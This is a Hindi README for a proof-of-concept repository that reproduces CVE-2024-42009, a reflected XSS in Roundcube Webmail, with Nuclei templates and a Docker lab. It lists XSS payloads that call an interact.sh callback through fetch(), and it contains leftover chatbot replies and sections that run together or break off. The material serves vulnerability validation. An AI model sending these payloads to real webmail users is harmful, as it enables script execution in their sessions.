
Nuclei टेम्पलेट और Docker लैब CVE-2024-42009 को प्रदर्शित और मान्य करने के लिए, जो Roundcube Webmail में एक reflected XSS है, अधिकृत परीक्षण के लिए Interactsh के माध्यम से Out-of-Band पहचान का उपयोग करते हुए।
इस रिपॉजिटरी में CVE-2024-42009 को सुरक्षित रूप से प्रदर्शित करने और मान्य करने के लिए एक Nuclei टेम्पलेट और सहायक संसाधन शामिल हैं, जो Roundcube Webmail में एक गंभीर रिफ्लेक्टेड XSS भेद्यता है। यह दोष show.php में message_body() फंक्शन में मौजूद है, जहाँ पोस्ट-सैनिटाइजेशन संशोधन डीसैनिटाइजेशन और तैयार किए गए HTML ईमेल सामग्री के असुरक्षित रेंडरिंग की ओर ले जाते हैं।
⚠️ यह PoC केवल शैक्षिक और अधिकृत परीक्षण के लिए है। ऐसी प्रणालियों के खिलाफ उपयोग न करें जिनके मालिक नहीं हैं या जिनकी स्पष्ट अनुमति नहीं है।
show.php में message_body()यह रिपॉजिटरी एक नियंत्रित प्रयोगशाला में JavaScript निष्पादन की पुष्टि के लिए Interactsh के माध्यम से Out-of-Band (OOB) पहचान का उपयोग करता है।
onanimationstart और Interactsh को एक बीकन युक्त <body> टैग के साथ तैयार ईमेल भेजेंMailHog (SMTP सिंक) और MariaDB के साथ स्थानीय Roundcube इंस्टेंस को चालू करने के लिए दी गई Docker Compose फ़ाइल का उपयोग करें।
git clone https://github.com/Shubhankargupta691/CVE-2024-42009.git
cd CVE-2024-42009
docker compose up -d
http://localhost:8080http://localhost:8025⚠️ अपने Google खाते का उपयोग न करें।
CVE-2024-42009-OOB.yaml – Interactsh और Out-of-Band (OOB) पहचान के साथ Nuclei टेम्पलेटCVE-2024-42009.yaml – Interactsh और OOB के बिना Nuclei टेम्पलेटdocker-compose.yml – Roundcube Webmail के लिए प्रयोगशाला वातावरण सेटअपImages/ – Interactsh से HTTP/DNS हिट दिखाने वाले स्क्रीनशॉटयह वीडियो पूर्ण एक्सप्लॉइट श्रृंखला के माध्यम से चलता है:
उन XSS पेलोड को आपके README में जिम्मेदारी से शामिल करने के लिए, आप उन्हें शैक्षिक या परीक्षण उद्देश्यों के लिए स्पष्ट रूप से लेबल किए गए अनुभाग में रखना चाहेंगे। यहाँ एक सुझाई गई संरचना है:
⚠️ अस्वीकरण: ये पेलोड केवल शैक्षिक उपयोग और अधिकृत सुरक्षा परीक्षण के लिए हैं। बिना स्पष्ट अनुमति के सिस्टम पर इन्हें तैनात न करें।
<!-- onerror के साथ इमेज टैग -->
<img src="https://interact.sh/xss-test" onerror="fetch('https://interact.sh/hit')">
<!-- onerror के साथ टूटी हुई इमेज स्रोत -->
<img src="https://raw.githubusercontent.com/shubhankargupta691/cve-2024-42009/main/x" onerror="fetch('https://interact.sh/hit')">
<!-- onload के साथ SVG -->
<svg onload="fetch('https://interact.sh/hit')"></svg>
<!-- स्क्रिप्ट टैग -->
<script>fetch('https://interact.sh/hit')</script>
<!-- iframe src में JavaScript -->
https://interact.sh/hit को अपने स्वयं के सुनने वाले एंडपॉइंट से बदलें।Roundcube को अपग्रेड करें:
बिल्कुल – यहाँ CVE-2024-42009 के लिए आपके README या ईमेल सबमिशन में शामिल करने के लिए एक साफ और पेशेवर संदर्भ अनुभाग है। यह आपके द्वारा सूचीबद्ध सभी स्रोतों को स्पष्टता और विश्वसनीयता के लिए स्वरूपित करता है: